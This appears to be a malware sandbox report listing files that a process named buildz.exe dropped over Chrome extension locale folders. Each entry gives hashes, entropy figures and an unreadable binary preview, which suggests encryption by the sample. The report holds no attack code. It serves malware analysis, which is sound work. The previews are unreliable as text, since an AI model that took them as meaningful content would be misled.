C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sw\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	7.851108299081723
Encrypted:	false
SSDEEP:	24:FBeuOn0GbEjfbvqltIl+/GTkUiE4DVyHWAa54shRzRs3A5lBnFzNKbD:XXAcjTvEIlsETjWAa54D3A35tiD
MD5:	F9E5F770737A62A1CB9831B2607B6C38
SHA1:	B4E0ABAF9D9601B26224CD5B6B0632D4F685B197
SHA-256:	2285F6A44D6D2C40DB16F425F33924434E13483E913E365B01054481FCA4278B
SHA-512:	AD04918413DB850A913B3551E8173CFAEF4ACFC05AEDE8C392A579FA5AC43E4CCA6189D2E1E71CB7FD12A34830C2409DC6430CFE542E6DE5A764601A595911B5
Malicious:	false
Reputation:	unknown
Preview:	{.. .....M]...D..[...@......N.......6U.-..qK.N.b..@.m....<..X...q.J....bMt.......ybN.>cDH.....7......].z)..2....Q..&....d......Q... `.>..p....0..'...&..l)T.xd+......W.}.\.d.ap..B8P....s8#N3S:...@.!m.S_.....$&6....6....K..[I..-n".FM..w..../)3........>.0&.....3\I..s....G..2.z(...\..?;....c.'..-n...b...Kp..%.q.q..8.._....!.Z.D-..!.].E......M..3rxF..E.GdE%<..Y."m...._D.).3.z.q...B...':.n..B}...$.....z.F.......y&YN..&\|..{......z.;]P...P ...Bt.X...._=.7.y"V.....Kb..v......?..5..4....vGfK.). ........k.r...K...!.h&..G..T...v..\....U...q1DA.T.g.l{A;)6...p..R.....d.@(o...../...[h.:...Z..Y1.@......HF.e..f....j...7SP... .q.^e.u...0w......y.e.4...V.]..?.o...P...../E...T5....V.bv.mku...j.o..Q......P.....Y......yR.;q.Q.B...o`...d.n."i.}....e#{.Un..tq.....\|..[{U...9....%i_..Lu.8......c......I&.G....j.K.1.".Ej.3;F........;.`.......J.8...@.a>..}..yO.wp.`.2A.x.j...X.........&v...yr5qTY..+r.E............I.1xQ\|.....g.J......U\."......NI?.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ta\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	7.902349773790101
Encrypted:	false
SSDEEP:	48:tt+zr7dIf9nymEz4d8neFwwE13Id9FB6PrWlpQD0y6pp6kaHeq2cYyD:tt+Eymc4sVwB4WPQDeX60Q
MD5:	1BB91C69F8E751F64BB6AB9449A80AA9
SHA1:	2C40C03E84950FDCAD5A98933448523D5F2A6448
SHA-256:	3854203F2E3DDD669B5E640DDCA994646F8BD67B64A05188B27E296F6556E6FA
SHA-512:	F6FEED49CF5610906455FB7DAEEDEED73532A93659655D886A161F3B492BBF6F1085A4C940A3D029268008F923E9920FBCB165E4FF25C66ECCEB8BC99B6FF172
Malicious:	false
Reputation:	unknown
Preview:	{.. .f,..K9h....&.s.T..2....X.t#i.BY4..~..............(.. $.9Y<..C..F<.V.K.jt...y ..h...2....N._..L7..z..:...b.#,Z....y.............L....l...Y....<...I{c7.>Z8.S#.........._f..../..p....8.......F......7.=.FI..{..&...xw`[....4..7{.$.....1.} ...?(z...^i....\|..2.;.e...^\V.j..~...Y..f....).6)..!.....97./!K.~k.6^e6...u.$.22.1....{...s...4.IRn..&]...i.D....%x......g.../$...C.zc9.xn5K.h(#......a.... .r(.U...n.......U.fi....\|%.......)....o...3..v.........%I..+.....y.(&.:..........0..JzK...-.h7O.'l.),.....Z...; r.4.A.....O...[.}....].....!.H...R..HM...o...D'..?"H.$<..bg.:B.r.A...>.x..v..U..... e..p=+...>&............T.);pq.........o...}t.I.>..ER.........1.-.D]<.J..t..)..s.S.`..?....t:.G..t.....5.....738a.`.S..}w.....K.V.%...6..C.F.>.d.LJ..........d.K.F........1.=$.L)$._.6.....>l..........W..S.R.qh>'5d.@.H...]...A".g.....<...+....4.3H....-..]Q]....>.oC. ..O.k........=...}.=.......%..ib`..7ZG.!...LH..PC...7......+..<Y..I......r:k.._.%.l7.^.>}...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\te\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2303
Entropy (8bit):	7.912388869327159
Encrypted:	false
SSDEEP:	48:ApHE2ellgOcyrVPIhyFisNxI0ncHX4zwnkEAu9Zt/x5ggaD:ApHEu5EtoXzQ5mBxegy
MD5:	4BBB93E2C6C036D8DEE8721AEF2DFC53
SHA1:	04D4421618BA7C889ED1619BFFC82CAB9BE7DAC4
SHA-256:	B4AADDF1C799785CA868B84F4586527E6DF18E2BAA860909FB1D0AC488E2E525
SHA-512:	4DDBA4783F4C12CB88C11BCDA087EB7AA36EB0BF561225A1B4214E1EFDD170B40B2AD53CD45222F24312E577D1A7A8B32D4E32DD723708437663026AD8AADC64
Malicious:	false
Reputation:	unknown
Preview:	{.. .V.......).,...s...?..Q>D..g+.[.7....p....f.O(.:M..N..I.a.R.j.].6.....vK.........4..;Y.efR.{.=......?.Qs..(...$y)..y.-...{.da..[iD...i4....t7......<.N.H..+.pZ~.%c3T...L./.+.................p.. ..^QzJkA..Q..h.7.R.q.w......H...\|..7..QU..3.I..z..wi.B..'G.4.ex..!L.(..z.i..{.:nL1.aX_(....H<.$..#.\..?...a...dO..2..1Y8H...p.I.-..~AB./.pvt.....V.............D.kIs.......B.\..).....f..{K.F...n.;......q.J.\|L..~...L.p._..."...V:..=.."...<.i..Pk.-...Q0.6>BiU.....s..-&W......+i.4p._04.PguE......v.F...........LUx...B...VSr..y.C...Cpq.:.....Pt".$..=sxq.X...n...#..=>!.:...Y#.A}.>%).Q..:lqH..w.ZzN..\.R..\X...2..^..[...y.,+,...$.).R.9%........)6.K....?.J.9../....(.<........"..?.....9...kQ;....G..;..t...a.......X...\|.... ...dA....O{..mY....;1.....KC..W...@-..l...F"Rf...f...j.0.)\|,;.L......~..6.VLl;..........l..2(i...... ..m..j.+.Z...?3.}..(S.k...R.E..4.R./.j.E..+h.nVF#.H..Se..\|...ut@9...s........`'.g...4xwFGA.`.+.=6].1....p`.T$\|.@..OnP....v.R-..`!..~+.9m...w..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\th\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2008
Entropy (8bit):	7.9091540836229
Encrypted:	false
SSDEEP:	48:m4QwADjyatprQLZiwA/hg951bymQF0AWsqCwloy+D:FQnyUpMZiwWk55kq5loB
MD5:	BB8C9EC8BEC7AE635681DE2181853B33
SHA1:	D3E2DE242FFC97784B09B8DA0F3C8A0C353AA3E7
SHA-256:	1FF802CAF8A035FF871CD4DECD8CAE5E203010FCED1CE08A80B44E467EACAB1E
SHA-512:	1E12117B96C35DFCF9B88B9587779BA48C46910BB791D16991E34AF1BD2312288C23FB6305356E438BB9254E98738C52B70B71175F28E20D42063FF851981D81
Malicious:	false
Reputation:	unknown
Preview:	{.. <l5..n...j......4.J.>4.0......o(3....."C.Q9.}.9N..rqS`.u....K..,Q.3@.q...O.gC.-P.....@..V..t..A.....`...t..:.+.....E@g.i...<p...]....4..K.\A.j..J<...:....s......S.-:._.....S..tB...Y..+...I.OzFv..@..]..F.._PrY.c...'..L.u...D(../....[...B.-\|....?..s.....9..S]`.)\..jV.ys."../.<.........C..(~.M..H....&...65......&BPpo..y.h.......[....S;..ss....=..\6.m...........ly...&..g..v..O.N..-<..j..........hZ=..G>I MH._......5...m...+...........r).Wo:.+..:.B.w&.H 5x..Jm.._._..z=...9.....y!.i9.s.-Fk.i0c....<.....H...i...{x[.a.E.Y....{.b..........eS......=.J.7.G{A.Z......{.e....6..-....X....].....gx./.....:s."z...+.^......%.......1).....8......N[....!.{C<l...~.._.p-....O..g.?..X.s....D....6....'....s.i?.........jC...w^....E3t.>9.F..O.$t.T.s....:K. /....".&N.;E...@e.5....`a....._@.....L...r..r.>X.+...,.P..zd.Vn....,s...........~.DI..x..2..N.$...1..e..K.E..=e....U.^.K.f.E.el..>0...)H..C......V<._..,.&T.#..N....0.18P.,....f...z..2..3&...N.9....8r

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\tr\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.849869380596097
Encrypted:	false
SSDEEP:	24:tGq2H6kpCvLg3CycAqBKHT6Fjg4kmJoRwIRZa+3xFhueeojdUC0UbD:tKHlxncAqwH+K4T+wIRY+hFh26A+D
MD5:	F7D8867100949D39E3B9522F92603CB0
SHA1:	3776A7E0C95C9495D1FB40E4E8B954D4E69C2A6C
SHA-256:	746B538ACD0FB5B85007533B2B2DA97EEABBC85A48274187A455FD8F843917E7
SHA-512:	217FADAC784C311C232CD4F905E360D20927BFCDF9084FFC113184915C1DB442D93EC8AD0F5BE4B49AF812AABB92429ED3377938DD344A23969CA4000E136958
Malicious:	false
Reputation:	unknown
Preview:	{.. ...+...:..xr~..../.R...8....E.B2.g.}.O\d].Xx..5...a.m..f.m(!.........E.;..\|....lw-..........9......K.i.........O~...{....E\..3m.7.v........&@...W.0.6.7.d4..:..jwk...y.F.K>c.;....v..&.....]..\)..:X.J..A^:%V1.EbO.7PS.._CV..Y.B. ....<.i.4..-..?6..tt.)X.m..c[p.A.}8.....$...7.R....)..K`.{yl.-.dpE..Y...{....\|.6J.....x.#..28...FK>9......x.......v..`.5./.c...X[v`.V.....:.4.@..Jk_.RTq..7...}....B.4.gY..S.Y..y.l..f.....S/..YN...T..$......g.ysfN..4..t..0v.9\|[.DU.j....]x.'(....,KH..9@...m....V'i@_.9.'...[....l.q.......p6........-.g...{.G.+..)Q....j.;.....$..R......b&.4...U......gBo.Y..~.n.LM."...m......>.`..3..]7e.<.r3E..E..Jt..5#U.()F.c..$ :.NOZy..#{..Q(..G....e......&"...U......f....y...X...(.x.^..8.6.......EPLi)\|\|=..]].V..7\|.-9<...J..,...v...U...?........_..dbp0v.......O3..>2.F...[..Q.(...=...U..K...\w.$..'l.._~.Y.k...U.."..&.}.G....z..u.=..q.....dS.s.A...jl0l.1B......\|.....@+.p...-.{w..y...!I.1xC.....b.8e......l.2.ANra=...3\|{i.z.=.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\uk\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1667
Entropy (8bit):	7.869453674421457
Encrypted:	false
SSDEEP:	24:PPLW9tRnUIFUlTWU0z0fTaYobcHkbVD+n8CAAHuHqbdHlzalbD:PjRIFYL/L4a2ehAanhiD
MD5:	53A42E84E23393B875FB25D7AE629539
SHA1:	697D5D61988B5344399364D605E7F085E9511AFF
SHA-256:	EE71E09C6E33D6784CC9C82FC9E5E3105AF6B686B8A27BA383AE1282C0A90C0E
SHA-512:	BF60CF3C87705217BABE2C92B64AF1F8B37FB8318AA33FA3C811A83277F36A5A4E6C8CB289102C6BC2A86BD45CD35D2EAD6F61D1C9BBCB42224E7475B0BD1824
Malicious:	false
Reputation:	unknown
Preview:	{.. m.@..Y..E.E..R.z..Jtj.[(... BWZ....E..Eu..1p0D4.O.\l.f......ki.'..$.u....p...X.....,ST.R....R.K.....]:-.CH..C3.....N...I.+.=..?...'.-.X..].r......N.`].5jN.....M&.E...3..w....2i)g...,...}...G..+.p.5ghj:O..../...\|-.-:f'.B.+....F...o3.$F..4..v..l..L..WB9...j....c.+...i..?%....[.y..lj...u..N.E..!...u(..zi-..:C..@\|.....-p............Bo4?.8.`..%Cp/.+./H.....cE.....l.\.L...0.^...L..g...o.}...FX.E.......w. ..u..Na.......e.6....Z(..M]@..-\|.1g..E..u.......x.0.H...M.B}p..e..N.^K.$ .ur...4....M..)L.[.;,M[K.v.1..lZ..Y....~M.ta.c...P. i>W.h..iHeA...g.U..p.a.@...7.C;..<x.t.rr.M..5.......#..l..0.#..z1...l.....Ke4.3..6~b.<.t+W.......;...S.....d..(eE.....~..r.kws.P.u.Bh...q{n.ws,...U>D(.......)....C...X..Q3.Y.m...GR.)P...?.W..9.8B..1....}...X#v...#!`.\|@].q=.un...{.....9..\1v..\..0....k.y...T....w.I..p..n.G.36.i...%.I$.#.(...<.J...H2..:.5.K~%p?G.~.......3...!<.@.k...#.k+F..I.o...O......"....Gx.M.....4.......Z...0.D.}....@.....Z.F..*.b..F...b8....n.5[.rc8.1.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ur\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1597
Entropy (8bit):	7.865179872296767
Encrypted:	false
SSDEEP:	24:ZuPdjlQfhGgd6FWmSmpKod6tu9tGe+Nr7TKI0LRVL+uZ38Smu8okfKl0b9EMHPBG:QK0hSGf6YcLr7T1QGfLztZvmD
MD5:	65BB59B6FA9D5EA8FC81E3814B37FA2B
SHA1:	CF4C9407A2193E0661F674C00EF308000D4BB497
SHA-256:	075E64225CBA5B4012F64A4D1C98AA65974219C7ED4D7CE2E9F4ACE442B750E3
SHA-512:	676DD5AFFB529FDE9E307FD0C7F903E9BCAC962B7B3E6E5E1CEDCB904A6E8D3310C7B3DAB04B214C293E644D3F3A5C446942CB32C00597BDE1D4AE119A73666B
Malicious:	false
Reputation:	unknown
Preview:	{.. ...\\q.[..f./.).y.jh..pM...W.\..nw..y.C.+?..4.v..h.@.......E;)Z.>y.....J].....E...:.....g.m8...\|.\...21;%..........7R<.\|7P._:on..X,...f..0R...m...G....w#.\5v........Q.l5.....qZ..+/7....U........y6.8../F.2p...X..........St.ck.Wl....6...0...0..i..X...$..Ny...BEr..x.0M)%.`.G}..F..#'.:H.o....t.L_..3.....1)...H.I.pJD._A#$.e.;..].a0....I....(..q..X.<.l=.o.......`U=......@ti<.).................N.L..h....tbo..P\|..}.$.+.Icn.}/...f...#.R8.<.[..3.Hr...v..4..U.}...C.r.3p(..L....,ng.)......E.l.......h ..@\|7.DUK}!\|!.a.U..L......;..1...f..^o.9)....y(q.\|..n..EBU.Hwt........v..D\W.<........C.......)...[c..6..=.T.5mB....9..f........S.w...T..:.O..0g..a..nV....naH.....`.2.du.B.^.w.aP7x.k..@$.@pU....!.8.C.......E..k..O@.[v8F:..5.aR.'..a....>..Y)..F.M..?..g5F...<.....!.....aN%..e?.'..V......r.hwf..9{.....E..s H.\|...........M..~.....x.F.#<..\o. ...."s.d:.).....g6;BQ..5TW6..GO.p,*2W..Sx..]H@ZP..D......E..Dn&;>SvK..]...CDS?:H.-..ld.a A.hJ.M

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\vi\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1408
Entropy (8bit):	7.850204895967162
Encrypted:	false
SSDEEP:	24:dpbgT0onjX0G8ZUaAGIJ53IPQKiULfO85OiR+BIXZc+Pd2HO3CE7sbD:dpb8pjXD8yhGIvLKiUBh8MPdm27mD
MD5:	FCCF11FFAD5A410369FE58335D38E13C
SHA1:	DDD0C53FB87AAC76CABD2128D3D415092EA212D8
SHA-256:	19351CD172A6248816F9438E55D76239CAF78B5B9F9A34A33EF9B7E1D4EA37DF
SHA-512:	16110587FFD16CA8A1D9CC36DC24A86DE1BDE1C1AE10CAEAFAFD278C13E4840031B348D510B90005B2828E13154C776542543B3EA1178F5A652FDC1CB883F324
Malicious:	false
Reputation:	unknown
Preview:	{.. ...T.W.PW...:9).9..\WV&...rU..H...;.._.:.sJ..l..[.S.j..7u...=j.....u..,1...W.+.1.7..X.`......$n.c.i...Y.TX.C..T....y.c....,./..oT.vC.Z..........o..{..M..E.3.y>.?Mv..KE..Eeh. .dc..)dD0.k.F@....i_.W..N.....@).D.u.d%`\..M..B..U....L...fV..B....!...6...)0......n.i......V#.&.......30.....o..?B....b...:...V.r@..p.........)..G.$.....F:.MT]#,@..$.j......R..t...a&......g.0...%!..d.'..BcSW.#..2.31Y}..!..../...w.U....C,.Q.O?%.7..F.$O..s.e.w.J.........+..l.R.[..{..;....c..W..,......O..0....>..._.#..d.\|..s..r+C1...#q.R.......iB.]..!.&NF.E...N..@v...j.-.:.....v..8!]G........;w`.....d...........\|wjs...U.....F@%e...I/vV(8..`d.......1.cP@.]U%...~.4....fR..3g....8..-C.... .+.<._8.8..d..!..VP.1...~`..D.^.u'Z...}jwj..f.I$..mi.#...+.................\|:.R..9....y.'PM...{.S........+..m...:n.l.Q&...._9{.B.fcU.....EN\|8..!.}.T.p$.b..5bP....+...A......>!....}2".m......6-.^.Y.b.of..@...\(K7.*..0..4.B..X.V.;;R.x...M..v.#.K.~0............z}...4..r.7.f...6.<.ZP..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_CN\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	7.8350804386005715
Encrypted:	false
SSDEEP:	24:NGU1taRFBsanQM6TpmqVehPgZtTxUJPF1z65/WIirxxf9FxPHbD:ZURbK9RssTxUJNE3ilx/1D
MD5:	CA445F2D6A1774D274E50D6BFBCDF5E0
SHA1:	A75C39926C993E47C9F162F46EF55F277B28D9A5
SHA-256:	79CD7F8A8431DC32B66311F690171E91BDD0BF675C1BA066115842EAD121C7B6
SHA-512:	548F1C45EA00DD7807A01271BFFC1BD20FA136F94C47BBAEBBFA87EC85A2B4F8B7559C8B4CFD679668B48BED7EC397E5CA15CB14B3CE02AE486486D6D89AD69B
Malicious:	false
Reputation:	unknown
Preview:	{.. ..B....".J.+&..g.. b>...._.....9?hE..L&k1:..0..pj....m...Cj...6............!.V......5..6.........W.N.9..._...J-..:.e..#..cMJO.'../...w...!.3._U.....=Y..m..:..PB."....).;.l@....F[~.?.$.'.p..h.y..l.}?0.........:...#.....d........z..<..0..1..2....v..........A50}Fz).]..H.g....ou.b.ff\.=..7....;.H...+...LW5)......k..Zv.@.\|$.8W.zd>..."V.K.kO4.SI.O&$....b.....X.=..Y].....;.i:V...i....i.DK...\|... ........L.S...O.<......m$k....3.....PA.y+. 1..\..'d@.gG.T...v."g>..I...[..'C3hnvT...?.Q.S...i..%....J..S..&..L... .s.V.tHe...'....@.rZB.Y.\|..+.$#...Th....y........QBiE....x{\v..d..o...d.."..%(r.E..\<..._~.......m...1O5.'..ok...n...jQ..7...Hpi}i.... I.....C.R..5......W.Mt`...?/......]..Q.>@Q.QE..._.z2L.2J..........g..F..^.e'.(c(]...z...}...#.Y....(.~.;j.$w..x...ks~. ....\|.4zE.Nz..]..H...q...d....9{.!k....n.K."..-.i.....w)[g<<....>hC...T`..s.&;...<..f..d$..P"..n3".H35........."....&.\.C.......3..[4w!..N!.d[.^&......0.r.....N.].h)f_j......4a.hQ..e$

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_HK\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1539
Entropy (8bit):	7.870698862391271
Encrypted:	false
SSDEEP:	48:YdbCB6xZ9wkBOWQVN41ZzMjzMHtRwmep5D:AbFr9ZGO1ZwjzYRwxx
MD5:	363F64F2061380D950C7C6190AB8116A
SHA1:	689213FB6A7C41E09FD8D2C902B414E4FE882F2B
SHA-256:	3B96F1EE15C619A9A1377E71CF8D438715E399C7FF336CCAC0D9DFBA150A4C99
SHA-512:	BECFCBE02DDF2444B261B61EA703158EDA7DDAE523D5086E1F26B5D5FDD418B89AAA0146A0BAB5B15318FC26594321A0F97A5905557BACB130EEB8FE5FCB0892
Malicious:	false
Reputation:	unknown
Preview:	{"creC6j....7.....7t7..".._f...>.i.x......2.@0..@...b....H.f.i..B1..^&&$..R@...'...+7....mGn....Tg.....er#.].......h..2.p7[.q...H....Q.@.Ot.V.k.[.a.-u..H...r>......).c....E{[..R.8...pj.o.:.{U.[y.h..9..%..G.+.)9\|....4r.$.`......~u..BM...H./<i.+.0.H;5.`6..9Z..=.....n7Q...qVE.{...p....i`g......W..OG...R..F.......\...l.2,}g.A.n.`s}.N.hH.m-l.... ..J...Q.....RZ[.]..g..../c.xr..V.....^.%..H^.H...J..N....6K..~.M9O8.6._.dm...9.R..w\|B.kiA.... .L.0s.......Z.z..Z.!......N.".....V\|#1..E.,]....9.`ad.....gV%.2usp.N._..6@..:)}.L9.d........5.5../Gc^.h.MG...Y....X.*..M.....cjL.... .0Ps1...\...Et.D..Z`o...........pK?.].I.S.....`...%J....oA.-...S]..H..k....<...r/.H%..W...4v.....Z..I........f....+\...t..E..P.}.........5>....\.z.4.s.4?..#...F....w8S.....B.V3(.p.\|E.}..P,...5R..j]$Lrv......e`...0.kL...<..m.N>.....nv.%..D..;q......9..Fo...f....Qj>....H...mkd-.B.9.'.P.. R.49..a.0.)...?..`s..d$....L(.....s.5rw:w.._.....T.@M.~.<.......X.l...p...\|.z.O.1.b_.V4

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_TW\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	7.839299628043778
Encrypted:	false
SSDEEP:	24:2gQDl5qLQ8H8VdZU78a16bCbz0EhB8b+yqvFkT6qnNT8hAbD:2gQnqxcVg8g6VEhCb+yokOqN1D
MD5:	55CE2C95BBB9088F9F443C7AD934E992
SHA1:	D345C2259A629D6E4CC660C834001F912D409D14
SHA-256:	8F9DD7897EE1D462A46269BA461115401592C3E072F0BF8F2F1F563410CF6EEA
SHA-512:	BDA752177986DCBDA915CDD8893893729A349459FDBD283F5298153B6CAF3C366B7806A4932D006FEA5BA0F262612CFA97BFF56C333969973B3D70EF9CE51B77
Malicious:	false
Reputation:	unknown
Preview:	{.. ...Z.e6..~..L......uz.........S....)F....`+......%"yu.H'...4..:.0j.!Aw.h.g.3..U..Itb.R....#..$....b..hG..2.UY..".{...d./.7....r..&'I......9M..w..YZ...x.".P.U.o....zaN.lK....]..%...n...J.,C....qw&U.\|S.1..J:X........8..g..$l"......g......j..$.........D...A..U..M$....ro..W\|...V....V" ..-7d.~...\...XrDJI....k.W.jcW<.6 .".r.D.)0..[L.y.H..._..~.L..X4...w@.VE..4..C..3.........#.'@.K.F...1......[.}.1.A..b}....C.^$.-....J.O-.v.......Q2W...:.".../.d.u..4.n.G.v...f...n...}....Yi..E.-3.\..x/..6....j.......b...S..Y.l..o...3~.......kyU..........)q...u..m.n.66.)k.(..r..4..L...A.._.f..I.......'A?+8.Uv.k:..*....5.....{P...9P..c.%>.........~3ry..M......a.....N.......u.1.D..m.q........W4[.I...7P...uR...#$.q....Y.6g..vJ...]S....\|..J......\.9..A..].P..(...2.Y)k..@....%V.....$.......8.mR(.._..F........[d\|.<.p.6..+.....m..t.N2..{x.S.=.......TR..`..z......[.H..H_z7N.....7(k.)...qHdS.c..:....Y......e..[....z.E.....\...C.....m@@..W..m.uP.3

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zu\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1246
Entropy (8bit):	7.847523817639965
Encrypted:	false
SSDEEP:	24:YdhOv9BfEAODCVIrXsvX4JczjeBHi5/0CUOmdJtP/ZBybD:YdA9BfHmXsvXecfMHA/SbfvBgD
MD5:	31CF4DF00E7FC4843AC493CF7406A12A
SHA1:	C560F24FD65E63106C752846C3377D604D59B61B
SHA-256:	E88750CF5CA2FCBE805A01D586B6DFD4FDF948EE790427EEB5DDDE856C28C4C1
SHA-512:	48183173718393A5DB7DFD56A09ADB80D7417048CC2809788F73BD2662B0588BCEF956467A136250E66E412CB4D9A8C7C6B743A01E112E926A431AE19B8BAC74
Malicious:	false
Reputation:	unknown
Preview:	{"cre"E...0...zB.vIX...+.O8..E.......ub..5.!.6...B./;.<.y.h%..yk.\[........B<%5yg...\|A..4....C..b...83.,)z.s........b...@;....T.D.=...D......K...h.........T.f....\|p....z.Q./iT...l&..}...=.=(...C.]@.....3d ..Z..F..].kK...={..........k..wA6..`..5.UR.<..=.<.O......~..?B.1...d.@..I...o..zt.... .&..K....E.......F..<.mR.y._...y..{..J.l1.yL...gZ9.W.cl..K.lr..1.J.4.. ...z6.D:.CCp-`?...c.......9z.....}.q........QsF..15..~m.`....S.n....M{^..H.k.........A.W.3..P.)...K..^.3..2P....6...l........].....l..4...k.......jD.3.'..[........$.k]..r.e/.S...<.J...2W....x.n.&....zq...y.1...M.........7...I......T...X.T.Q.X............r....(.5.....I..W...].&...ib..:..8`.h>.J..r.?.0Tq]j.:........N.$.%....tz..HD.`c.B...c.........W6...%....n.U...d.G....1......W.H....E.b.<.5y.........Q._4...............0._......C7...m.......@_......w,..e.hf.I...G.E.b*...n.{g..f@ds..E.t..Tx.2.'...J..0.-n.?<u....4...?.<..F...;.7.l...A......+.x.....Do..QS.@...D.i\....^..W.....-I

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1130
Entropy (8bit):	7.806250420816541
Encrypted:	false
SSDEEP:	24:N4KvwgSghgHIimV9EeayZ3nSvRWWA++VCeL76e70MuLRiPsbD:NIIsIH++9KWWAJP6e70MudQmD
MD5:	76B24C198E89B3F9450D785A1C2DBFC3
SHA1:	B2AAE0AD3F13A42F1CEF4E17ED07966FD860D993
SHA-256:	F9EF8EFC547B62BE1D27D4EDA74FDF8DAD67617E28CD2A78F20128D5C825E21C
SHA-512:	1B08CEC4035A3C667609D10E0C73577C978F32C3BCA503DDF60AFCF5C0273DD68460BD69C64247B326C25EFA1ABC05F69F3757BFB65425A5D1CE3C4B56B79BEF
Malicious:	false
Reputation:	unknown
Preview:	{.. ...o..P#.Q..l..2.Zt.p...d......DkW-.!.J....d...9.....J#s..W..$.......`....dE.............y.p..g....PP..b.ENj....W..@\|..x..@.{-8h.......Q..\|.o.../1..5.$0Fi./..F@_1.y_f..) .}[Y....1..j,&=..../.K.v...8]>..is._.o...<..7.i..K...p...$.y.@.Q.:_4..M:..<.......T..R(..i...U..ZKg.jp.K......9.h.......Q..!}[........P....q2P..i8...}.......G.n).tl.-eD..0.Nt.......X4..1R$.=...p.@!.Vr..M\|..\$@.Y.......`.......@.._-0.MW#.p.2....:6.8...]n....\.qXPg...?....O...5ujx..<...c.h......Xm9n..>...F.K............c......ULaeh........?...V.....j..~.?.....Y.=..`.U7../.J2;.........o.....D,F)j..0.p\..Z.R..........^.]}....h.K..[Lo..t.d.I.....C..cp...c.....................)7..#iT0....%...=...I.a.c..;.....%..1.r1y...T.N..py.k.[...35...._~^a......{....S.?....Xw{3......>..x...>..:.S.H.....%.D.n..V..4.......F....!..{..........G...C....y.(=.Fn.E....$..IR.V0oV.@.'...LU@...%..N....!..b....5....A...f.[.E.k..a.E.7.....]Po..\|q..&...H....Iil...u.]>...oJ.gw/..QJ.R..'..yF

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ca\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1009
Entropy (8bit):	7.770612357928567
Encrypted:	false
SSDEEP:	24:QRr/9b/nlnTuCzZx5ylYMRMY5Bp0tla6ZJj7QpeMDbD:Qt/9znlnCC9yWMR3INfQsMXD
MD5:	78AFA977DF80383FF5232975CFFFFED5
SHA1:	6BC00DFB612BB257196A0BA1037700D3A5950005
SHA-256:	819CB9237A296A08E3F99F56F7513D0A38FE3104D292ED2F5D37ACEAE35958D0
SHA-512:	09B760CB170EF1162302DDA8FB1616D8E91CBC3D6353F6EB6BCCAD527FC86F4FB5610A32BFFC7669631E2C0E571B183E3384B0F91AF8AD0EC50C77AC99168234
Malicious:	false
Reputation:	unknown
